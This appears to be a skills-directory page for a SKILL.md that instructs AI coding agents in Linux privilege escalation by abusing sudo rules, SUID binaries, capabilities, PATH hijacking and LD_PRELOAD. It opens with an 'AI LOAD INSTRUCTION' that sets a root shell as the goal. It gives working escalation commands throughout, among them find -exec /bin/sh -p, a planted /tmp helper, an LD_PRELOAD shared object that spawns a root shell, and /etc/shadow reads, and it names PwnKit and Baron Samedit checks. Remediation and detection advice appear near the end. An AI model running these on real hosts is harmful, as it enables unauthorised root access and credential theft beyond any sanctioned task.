Skip to content
Back to skills

Linux Privesc Gtfobins Master

BSecurity

Linux privilege escalation via misconfigured sudo/suid/capabilities on legitimate binaries. Use when an unprivileged shell exists and enumerating for a root path. Covers context discovery, binary selection by permission context, and the escalation decision tree.

  • 2 stars
  • 0 votes
  • 0 copies
  • 0 views
  • Added November 11, 2026
securitypythongorubyphpshellbashnodetestinggitdatabase

Security analysis

B88/100
  • criticalAccesses sensitive system or user directories

Pro shows the line behind each finding and how to fix it

Scanned November 11, 2026

npx -y skills add harezadmm/omp-enhanced --skill linux-privesc-gtfobins-master --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Linux Privesc Gtfobins Master?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Linux Privesc Gtfobins Master
[![Security: B — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-linux-privesc-gtfobins-master/badge)](https://www.skillsdirectory.com/skills/harezadmm-linux-privesc-gtfobins-master)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: linux-privesc-gtfobins-master
description: >-
  Linux privilege escalation via misconfigured sudo/suid/capabilities on legitimate binaries.
  Use when an unprivileged shell exists and enumerating for a root path. Covers context
  discovery, binary selection by permission context, and the escalation decision tree.
---

# SKILL: Linux Privesc — Legitimate Binary Abuse (GTFOBins Class)

> **AI LOAD INSTRUCTION**: An unprivileged shell is not a finding — a root shell is. This skill
> covers the fastest path there on most Linux hosts: a legitimate binary that the operator can
> run with elevated rights. The technique space is large (478 documented Unix binaries with
> confirmed privilege-transition capability) so **the skill is the decision tree, not the list**.
> Enumerate the context first, then select the binary. Never guess a payload before you know
> whether the vector is `sudo`, `suid`, or `capabilities`.

## 0. RELATED ROUTING

- [linux-privilege-escalation](../linux-privilege-escalation/SKILL.md) — full Linux privesc taxonomy (kernel, cron, service, path)
- [linux-postexploit](../linux-postexploit/SKILL.md) — after root
- [reverse-shell-techniques](../reverse-shell-techniques/SKILL.md) — the payloads the shell-class binaries spawn
- [linux-security-bypass](../linux-security-bypass/SKILL.md) — AppArmor/SELinux/capability interactions
- [living-off-the-land-lotl](../../core-subjects/living-off-the-land-lotl.md) — the doctrine behind using native binaries

---

## 1. THE THREE CONTEXTS

Every escalation in this class is one of three. Establish which before anything else.

| Context | What it means | First command | Typical success rate |
|---|---|---|---|
| **`sudo`** | you may run a specific binary as root, possibly with a password you don't have | `sudo -l` | highest — the rule is explicit |
| **`suid`** | binary has the SUID bit; it runs as its owner (usually root) regardless of caller | `find / -perm -4000 -type f 2>/dev/null` | high, but modern distros strip dangerous bits |
| **`capabilities`** | binary carries a file capability, e.g. `cap_setuid+ep` | `getcap -r / 2>/dev/null` | narrow but powerful; rarer than the other two |

**`sudo -l` is the single highest-value command on a Linux host you have any shell on.** Run it
first, always. A single `(ALL) NOPASSWD: /usr/bin/find` line is game over.

---

## 2. ENUMERATION — CONTEXT DISCOVERY

```text
# 1. what may I run, and as whom?
sudo -l
sudo -l -U <user>                     # another user's rules, if permitted

# 2. SUID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# 3. SGID (group escalation, then re-run step 2 as that group)
find / -perm -2000 -type f 2>/dev/null

# 4. file capabilities
getcap -r / 2>/dev/null                # requires libcap; else:
find / -type f -exec getcap {} \; 2>/dev/null

# 5. writable files owned by root or a privileged group (PATH hijack surface)
find / -writable -type d 2>/dev/null   | grep -v proc
find / -perm -o+w -type f 2>/dev/null

# 6. sudo version — some versions have direct CVEs (see §6)
sudo --version
```

**Automate, then verify manually.** For one bounded step, a targeted wrapper is appropriate:

```bash
for b in $(find / -perm -4000 -type f 2>/dev/null); do
  echo "== $b"; "$b" --help 2>&1 | head -3
done
```

Do not rely on the wrapper's classification — confirm the specific payload by hand before
running it. A wrong guess on a live host is noise that costs you the window.

---

## 3. SELECTION — WHICH BINARY

Once the context is known, select by **what the binary can do**, not by name recognition.
Documented classes, in order of exploit value:

| Class | What you get | Representative binaries |
|---|---|---|
| **shell** | an interactive shell at the elevated privilege | `find`, `awk`, `vi`/`vim`, `less`, `more`, `nmap`, `perl`, `python`, `ruby`, `node`, `env`, `make`, `gdb`, `tar` |
| **command** | arbitrary command execution | `awk`, `sed`, `find`, `env`, `make`, `git`, `tar`, `zip`, `rsync` |
| **file-read** | read any file as the elevated user | `cat`, `dd`, `head`, `tail`, `less`, `nl`, `od`, `pg`, `sort`, `awk`, `cp`, `tar` |
| **file-write** | write any file as the elevated user | `tee`, `dd`, `cp`, `mv`, `sed`, `awk`, `find -fprintf`, `vi`/`vim` |
| **library-load** | load an arbitrary shared object → code execution in the privileged process | `python` (ctypes), `perl`, `ruby`, `php`, `node` |
| **inherit** | the elevated process keeps the caller's environment → inject via env vars | `env`, `sudo` wrappers, `nice`, `timeout`, `xargs`, `stdbuf` |
| **reverse-shell / bind-shell** | direct network shell | `python`, `perl`, `ruby`, `node`, `nc`, `socat`, `php`, `lua` |
| **upload / download** | move files across the privilege boundary | `curl`, `wget`, `scp`, `ftp`, `nc`, `rsync` |

**Selection heuristic:**
1. Context is `sudo` with a **specific** binary → that binary, nothing else.
2. Context is `suid` → prefer **shell** class; check the binary drops privileges first (§4).
3. Context is `capabilities` → check for `cap_setuid+ep` (instant uid 0) before anything else.
4. No obvious hit → look at **`inherit`** class and **PATH hijack** (§5).

For the payload itself: more than 200 Unix binaries are documented as shell-capable. Rather than
memorise a list, reason from the binary's own features — a binary that can spawn a subprocess
(for the `shell` and `command` classes) can usually be made to spawn your shell.

---

## 4. THE PRIVILEGE-DROP PITFALL

Modern SUID binaries frequently drop privileges before executing user-controlled input. A
payload that works on an old distro silently fails here.

**Test:** run the candidate, then `id`. If you get your original uid back, the binary dropped.

```bash
# find: works when find does NOT drop privs
find . -exec /bin/sh \; -quit
# if privs were dropped, force them to be retained
find . -exec /bin/sh -p \; -quit
```

The `-p` flag tells `sh` to preserve the effective uid. Some binaries need a different
mechanism (e.g. `bash -p`, or `perl -e 'exec "/bin/sh";'`). The rule: **check `id` after every
attempt** and adjust the shell-invocation flag rather than abandoning the vector.

---

## 5. PATH HIJACK AND `inherit`

Two adjacent techniques that belong to this class because they exploit a **legitimate binary
invoked with elevated rights**.

**PATH hijack** — a SUID binary or sudo rule calls another program by relative name:

```bash
# target runs `service apache2 restart` as root; `service` is resolved via PATH
echo -e '#!/bin/sh\n/bin/sh -p' > /tmp/service
chmod +x /tmp/service
PATH=/tmp:$PATH /path/to/suid-binary
```

**`inherit`** — the elevated process retains environment variables the caller controls
(`LD_PRELOAD`, `LD_LIBRARY_PATH`, `PYTHONPATH`, `PERL5LIB`, custom config paths):

```bash
# LD_PRELOAD — blocked on SUID, but works for sudo wrappers and some callers
cat > /tmp/x.c <<'EOF'
void _init(){ setuid(0); system("/bin/sh -p"); }
EOF
gcc -shared -fPIC -nostartfiles -o /tmp/x.so /tmp/x.c
LD_PRELOAD=/tmp/x.so /path/to/privileged-binary
```

`LD_PRELOAD` is stripped for SUID/SGID binaries on every modern glibc — if it appears to work,
you are actually in a different context (a sudo rule, or a non-SUID caller). Confirm where the
privilege is coming from before reporting the finding.

---

## 6. VERSION-BASED FALLBACK

If no binary, capability, or PATH issue exists, check for a **vulnerable version** of a
privileged binary:

```bash
sudo --version          # CVE-2021-3156 (Baron Samedit), CVE-2019-14287 (-u#-1)
pkexec --version        # CVE-2021-4034 (PwnKit) — polkit, extremely common
uname -a                # kernel → CVE database by version
```

PwnKit and Baron Samedit are worth checking on every host: both are extremely widespread and
both give instant root. They are version-gated, so `--version` output decides whether the
attempt is worth making.

---

## 7. CONFIRMING THE FINDING
Privilege escalation's rule: **read the identity from INSIDE the elevated invocation, and with
capabilities the uid may not change.** This table is the gate.

| Step | Question | What it proves |
|---|---|---|
| 1 | Was the **pre-escalation context** recorded: `id`, the groups, the capabilities, the kernel? | the baseline the difference is measured against |
| 2 | Did the elevated command **run and return its own identity**, not an inferred one? | `id` executed through the mechanism is the proof |
| 3 | Is the proof the **capability's effect** where uid does not change? | `cap_setuid` may leave uid alone while granting the power |
| 4 | Is there a **control**: the same command WITHOUT the sudo entry, SUID bit, or capability, failing? | the difference attributable to the misconfiguration |
| 5 | Was the **privilege-drop pitfall** avoided: is the shell actually elevated, or a root-uid shell lacking the capability? | a weaker, different finding is often mistaken for success |
| 6 | Is the **GTFOBin's version** recorded, and the technique confirmed against it? | GTFOBin behaviour is version-bound |
| 7 | Is the finding the **mechanism** (which entry), not the binary's name? | the fix is the entry, not the tool |

**An identity read from inside the elevated invocation, and a control without the misconfiguration.** A
SUID binary is an observation; an elevated `id` through a specific misconfigured entry is the finding.

---

---

## 8. EVIDENCE STANDARD

| Item | Why |
|---|---|
| output of `sudo -l` / `find -perm -4000` / `getcap -r /` | proves the configuration exists |
| the exact binary, the exact command, and the context | reproducibility |
| `id` before and after | proves the privilege transition — **not** merely that a shell opened |
| whether the binary dropped privileges and how you worked around it | a finding that names the real control |
| host, distro, kernel version | the config is version-specific |

**`id` before and after is the finding.** A shell that returns the same uid proves nothing.

---

## 9. REMEDIATION REFERENCE

1. **`sudo`** — replace blanket binary rules with purpose-built wrappers; never grant a shell-capable binary; set `Defaults use_pty` and `log_output`; require authentication for everything.
2. **SUID** — inventory all SUID binaries and remove the bit from any that do not need it; on modern distros the dangerous set is small and stable, so an allowlist is practical.
3. **Capabilities** — same treatment; `cap_setuid+ep` on any user-invocable binary is equivalent to SUID root.
4. **PATH** — never call binaries by relative name from privileged scripts; use absolute paths.
5. **Detection** — alert on `execve` of a SUID binary with a shell as the child; on `getcap`/`sudo -l` enumeration; on a new SUID bit appearing anywhere outside the package manager.
6. **Kernel** — patch cadence is the only control for §6; PwnKit sat unpatched in the wild for 12 years.

---

## 10. EXECUTION PRIMITIVES

Sections 2 and 3 give the enumeration and the selection logic; this section is **how to prove the
escalation**. The gtfobins catalogue tells you what a binary CAN do; it does not tell you that it does it
in this context. The proof is always **the effective identity read from the process, with a control showing
the same binary under a context where it should not elevate**.

### 9.1 The context, which decides whether the technique exists

```bash
# THE THREE CONTEXTS (section 1) each need a DIFFERENT proof, and each needs a baseline.
echo "=== 0. THE BASELINE: the current identity, recorded before anything ==="
id
printf '  CapEff:   '; grep CapEff /proc/self/status | awk '{print $2}'
printf '  CapPrm:   '; grep CapPrm /proc/self/status | awk '{print $2}'
printf '  NoNewPrivs: '; grep NoNewPrivs /proc/self/status | awk '{print $2}'
printf '  Seccomp:  '; grep Seccomp /proc/self/status | awk '{print $2}'
echo "  THIS IS THE CONTROL. An 'escalation' claim with no baseline identity is unverifiable, and a"
echo "  process already running as root is not an escalation at all."
echo
echo "=== 1. THE SUID/SGID CONTEXT: the effective uid must CHANGE ==="
echo "--- the candidates, with their ownership and mode ---"
find / -perm -4000 -type f 2>/dev/null | head -60 | while read -r b; do
  printf '  %-50s %s\n' "$b" "$(stat -c '%U:%G %a' "$b" 2>/dev/null)"
done
echo "  A SUID binary running as root: the proof is that ITS process reports uid=0."
echo "  THE MECHANICAL PROOF, which is not 'a shell appeared':"
echo "    <binary> -p -c 'id; cat /proc/self/status | grep -E \"^(Uid|Gid|CapEff)\"'"
echo "  and the SAME read before the binary must show YOUR uid. That pair is the finding."
echo
echo "=== 2. THE SUDO CONTEXT: the permitted command list is the finding's boundary ==="
sudo -n -l 2>/dev/null || echo "  (sudo -n -l not permitted; try 'sudo -l' with the password if in scope)"
cat <<'SUDO'
  the sudoers line's RESOLUTION is what matters, and the following are DIFFERENT findings:
    user ALL=(ALL) /usr/bin/vim            -> a full escalation via the editor's :! shell
    user ALL=(ALL) NOPASSWD: /bin/cat      -> a FILE READ as root, NOT a shell. Report the read.
    user ALL=(root) /usr/bin/find          -> find's -exec runs as root -> a shell
    user ALL=(ALL) /usr/bin/systemctl      -> service manipulation, which may or may not be a shell
    user ALL=(ALL) /usr/bin/apt            -> package manipulation, i.e. code execution as root
    user ALL=(ALL) !/usr/bin/passwd        -> a NEGATION; read the whole line
  THE PROOF: run the permitted command and READ the effective identity back. For a file-read
  command, read something only root can read and CAPTURE ITS CONTENTS - an 'ls' listing is not it.
SUDO
echo
echo "=== 3. THE CAPABILITY CONTEXT: capabilities are a different proof from uid ==="
getcap -r / 2>/dev/null | head -30 || echo "  (getcap unavailable)"
cat <<'CAPS'
  cap_setuid+ep on python/perl/node   -> setuid(0) IS the escalation. PROOF: the process's
                                         subsequent `id` reports uid=0, and CapEff retains the bits.
  cap_dac_read_search                 -> FILE READ, no uid change. PROOF: the file's CONTENTS.
  cap_dac_override                    -> file read AND write. PROOF: a read AND a created file.
  cap_sys_admin                       -> MOUNT and namespace operations. PROOF: a mount that appears.
  cap_net_raw / cap_net_admin         -> packet capture or routing. PROOF: a capture.
  cap_sys_ptrace                      -> process injection. PROOF: a read of the target's memory.
  IMPORTANT: with capabilities, `uid` may NOT change. A capability escalation whose proof is
  'uid=0' is testing the WRONG thing, and this is the most common misreport in this context.
  THE CORRECT PROOF IS THE CAPABILITY'S OWN EFFECT: the file read, the mount, the capture.
CAPS
```

**With capabilities the uid may not change, so the proof is the capability's own effect — reading the file,
the mount, the capture. Testing for `uid=0` there is the most common misreport in this context.**

### 9.2 The technique, executed with the identity read back

```bash
cat <<'EXEC'
  THE GENERAL SHAPE, for any gtfobins entry:
    1. establish the CONTEXT (9.1) and the BASELINE identity
    2. run the binary with the argument the catalogue specifies, and an `id` FIRST in the same
       command, so the identity is captured FROM THE ELEVATED PROCESS and not from your shell
    3. READ SOMETHING the baseline identity could not: a file's CONTENTS (an /etc/shadow read is
       the canonical one), a mount that appeared, a capture
    4. THE CONTROL: run the SAME binary WITHOUT the configured privilege (as an ordinary exec of
       the same path) and show the SAME read FAILS

  WHY STEP 2 MUST PUT `id` INSIDE THE COMMAND: a shell that appears may be YOUR shell. The
  canonical false positive here is a technique that spawns a pager or an editor whose `:!` runs
  in the ORIGINAL context because the binary dropped privilege. WHICH BRINGS US TO SECTION 4.
EXEC
echo
echo "=== THE PRIVILEGE-DROP PITFALL (section 4), mechanically tested ==="
echo "  many binaries drop privileges BEFORE executing a child (setuid(), setgid(), and a capability"
echo "  drop). THE TEST:"
echo "    <binary> [technique] -c 'id'         and compare with"
echo "    <binary> [technique] -c 'cat /etc/shadow | head -1'"
echo "  if `id` shows root but the shadow read is denied -> the binary re-raised the restriction,"
echo "  and the 'shell' is a root-uid shell WITHOUT the capability or the group. THAT IS A FINDING"
echo "  of a different (weaker) kind, and it must be reported accurately."
echo
echo "  AND THE OTHER DIRECTION: if `id` shows YOUR uid, the technique did not elevate at all."
echo "  this is the single most common gtfobins false positive, and step 2 exists to catch it."
```

**A root-uid shell without the capability or group is a weaker, different finding and must be reported
accurately.** A shell showing your own uid means the technique never elevated, and step 2 exists to catch it.

### 9.3 PATH hijack, and the end-to-end harness

```bash
echo "=== THE PATH-HIJACK CONTEXT (section 5), with its precondition made explicit ==="
cat <<'PATH'
  THE PRECONDITION: the privileged binary invokes a helper BY BARE NAME (no absolute path) AND the
  caller can influence the search path. BOTH must hold.

  THE ARTEFACT: the binary you planted, with its path, its mode, and the identity of the process
  that EXECUTED it. THE CONTROL: the binary you did NOT plant must be the one executed.

  THE TWO TRAPS:
    a. `secure PATH` / `ENV_SUPATH` / an explicit `setenv` in the sudoers line REMOVES the
       influence. If the sudoers config sets secure_path, the hijack does not exist. READ THE LINE.
    b. `inherit` (in capability contexts) may NOT include the path set. Test whether the variable
       ACTUALLY reaches the child - print it from the child and show it.
  AND: a hijack where the helper is invoked by ANOTHER privileged process (a cron job, a service)
  is a DIFFERENT finding from one where you invoke it yourself. Name which.
PATH
echo
echo "=== the version-scoped fallback (section 6), stated as a scope not a defect ==="
echo "  some catalogue entries are version-scoped: `git --help` opening a pager, `tar`'s checkpoint"
echo "  action, and similar. RECORD THE VERSION and say whether the technique is version-bounded."
echo "  a technique that works on one version and not the next must be scoped to the tested version."
echo
echo "=== the end-to-end harness ==="
python3 - <<'PY'
print("=== LINUX PRIVESC (GTFOBINS) ACCEPTANCE CHECKLIST ===")
CHECKS = [
 ("the BASELINE identity was recorded: uid, gid, CapEff, NoNewPrivs, Seccomp",
  "an escalation claim without a baseline is unverifiable, and already-root is not an escalation"),
 ("the CONTEXT is named: suid, sudo, or a capability - because the proof differs by context",
  "a capability escalation may not change uid at all"),
 ("for a SUID technique: the effective uid was read from INSIDE the elevated process, not from your shell",
  "the shell may be the analyst's own"),
 ("for a capability technique: the proof is the CAPABILITY'S EFFECT, not uid=0",
  "cap_dac_read_search changes no uid; testing uid is the most common misreport here"),
 ("for a sudo technique: the sudoers LINE was read, and a file-read-only grant is reported as a read",
  "a 'NOPASSWD: /bin/cat' grant is a file read, not a shell"),
 ("the PRIVILEGE-DROP pitfall was tested: `id` and a protected read in the SAME elevated invocation",
  "a root-uid shell without the capability or group is a different, weaker finding"),
 ("something was READ that the baseline identity could not, and its CONTENTS are captured",
  "an `ls` listing is not a protected read"),
 ("the SAME binary was run WITHOUT the privilege as the control, and the SAME read FAILED",
  "the privilege must be shown to be the variable"),
 ("for a PATH hijack: the bare-name invocation AND the path influence were both shown to hold",
  "secure_path removes the influence, and `inherit` may not carry the variable"),
 ("for a PATH hijack: the planting binary's path, mode, and executing identity are recorded",
  "the artefact and its control"),
 ("the tested VERSION is recorded where the technique is version-scoped",
  "some catalogue entries are version-bounded"),
 ("the GOAL is named: root identity, a protected file read, a mount, or a capture",
  "'we got a shell' without an identity read is not the finding"),
]
for n, how in CHECKS: print("  [ ] %-74s -> %s" % (n, how))
print()
print("=== THE REPORT SHAPE ===")
print("  baseline : uid/gid/CapEff/NoNewPrivs/Seccomp before anything")
print("  context  : suid / sudo / capability, and the exact configuration line")
print("  technique: the argument used, with the identity read from inside the invocation")
print("  read     : the protected read's contents")
print("  control  : the same binary without the privilege failing the same read")
print("  scope    : the version, and a privilege-drop caveat if it applies")
PY
```

**Baseline, context, technique with the identity read inside the invocation, protected read, control, scope.**
The privilege-drop caveat is what keeps a root-uid shell from being reported as a full escalation.

---

## 11. RELATED SIBLINGS - LOAD TOGETHER

- [linux-security-bypass](../linux-security-bypass/SKILL.md) - the confinement layers a suid or capability path crosses
- [credential-access-atomic-tests](../credential-access-atomic-tests/SKILL.md) - the credential families that follow an escalation
- [sandbox-escape-techniques](../sandbox-escape-techniques/SKILL.md) - when the boundary is a container rather than a file mode
- [kernel-exploitation](../kernel-exploitation/SKILL.md) - the kernel-side route to the same identity
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) - the Windows counterpart of the use-it-not-possess-it rule

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.